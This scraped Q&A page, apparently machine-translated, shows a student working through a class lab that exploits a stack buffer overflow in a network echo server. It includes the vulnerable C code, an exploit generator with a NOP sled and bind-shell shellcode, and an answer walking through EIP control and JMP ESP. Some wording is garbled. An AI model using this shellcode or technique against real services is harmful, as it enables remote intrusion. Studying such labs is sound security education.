Linux – Need help finding a remote buffer overflow

Need help finding a remote buffer overflow… here is a solution to the problem.

Need help finding a remote buffer overflow

It is used for class jobs. I’m a bit stuck and I only have some issues to help me keep going. (No cheating for me :p) I think brutal homework for undergraduate classes…

What we should do:

nc compName.cs.myschool.edu 9050

If we type something and then press Ctrl+D, the server listens/echoes.
We need to use that input to hack the server program and create an account with sudo privileges.

The relevant code is as follows:

int main(int argc, char const *argv[])
{
    char input[1000];
    int sockfd, newsockfd, portno, clilen, val = 1;
    struct sockaddr_in serv_addr, cli_addr;

 some server code that I don't understand but probably isn't super relevant

dup2(newsockfd, 0);    bind stdin
    dup2(newsockfd, 1);    bind stdout
    dup2(newsockfd, 2);    bind stderr

bufferCopy( input, 0x1000, stdin );
    printf("You entered: %s\n", input );        

close(newsockfd);
    close(sockfd);
    return 0;
}

void bufferCopy( char * input, int inputLen, FILE * file )
{
    int i = 0;
    int c = 0;
    while( (c = fgetc( file )) != EOF  &&  i < inputLen - 2 )
    {
        input[i++] = c;
    }
    input[i] = 0;    
}

Update:
I know what I need to do :

  • No operational sleds (a bunch of 0x90).
  • This is followed by the bind, shellcode, (from the book
  • ).

  • It is followed by the return address (the address of the “input” variable) repeated many times

Update:
What I’m doing :

  • I wrote a file with the following code.
  • Cat attack code |nc compName.cs.myschool.edu 9090

    static const int  NUM_NOPS = 800;
    static const char NOP = 0x90;
    static const int  NUM_ADDRESSES = 800;
    
    static char nopSled[800];
    char shellcode[] = { // on port 31334 == 0x7a66
        "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
        "\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x66\x66\x53\x89\xe1\x6a\x10"
        "\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80"
        "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f"
        "\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
        "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
    };
    static const char returnAddress[] = {0xbf, 0xff, 0xf4, 0x40};
    
    int i=0;
    for(i=0; i < NUM_NOPS; i++){
        nopSled[i] = NOP;
    }
    
    FILE * pFile;
    pFile = fopen("attackCode", "w");
    fwrite( nopSled, 1, sizeof(nopSled), pFile );   
    fwrite( shellcode, 1, 92, pFile );
    for(i=0; i < NUM_ADDRESSES; i++ ){
        fwrite( returnAddress, 1, 4, pFile );
    }
    fclose(pFile);
    

Update:
What I don’t understand is:

  • Returns the position of the pointer in memory…. How can I find it?
  • ^ So how long does the No-op part take, or how many times the address is returned repeatedly
  • What is the address of the “input” – get different values for printf(%p) and gdb
  • Why didn’t anything happen to me… If I write a lot of no op etc, there is not even a segfault.

Any help would be appreciated!

Solution

Typically, you perform the following steps:

  1. Fuzz test available buffers.
  2. Figure out how to control EIPs.
  3. Figure out how to get your shellcode.

As for the first point, you’ve found a way to trigger the overflow (basically any input value larger than 1000 bytes).

Because a buffer overflow on the stack overwrites the data below the buffer address, and because input is allocated on the stack of the main function frame, some parts of the buffer overwrite the return address of the main call. To find out which part covers the EIP, use metasploit’s pattern_create and pattern_offset tools .

Now the tricky part may be finding a way to effectively modify the EIP to jump to your shellcode. Use a buffer like this:

AA... AA BBBB CC... CC

The stack when main returns is as follows:

     ⋮
0x41414141
0x41414141
0x42424242 <= ESP
0x43434343
0x43434343
     ⋮

Because return sets the EIP to the value at the top of the stack (in this case, BBBB) and lowers the stack by decrementing the stack pointer, JMP ESP jumps to the right of shellcode before BBBB:

     ⋮
0x41414141
0x41414141
0x42424242 
0x43434343 <= ESP,EIP
0x43434343
     ⋮

To find JMP ESP instructions, look at the loaded modules/libraries and check them in gdb:

find /b <from addr>, <to addr>, 0xff, 0xe4

Find the address

of a JMP ESP that you can use to override the return address on the stack to jump to your shellcode.

Related Problems and Solutions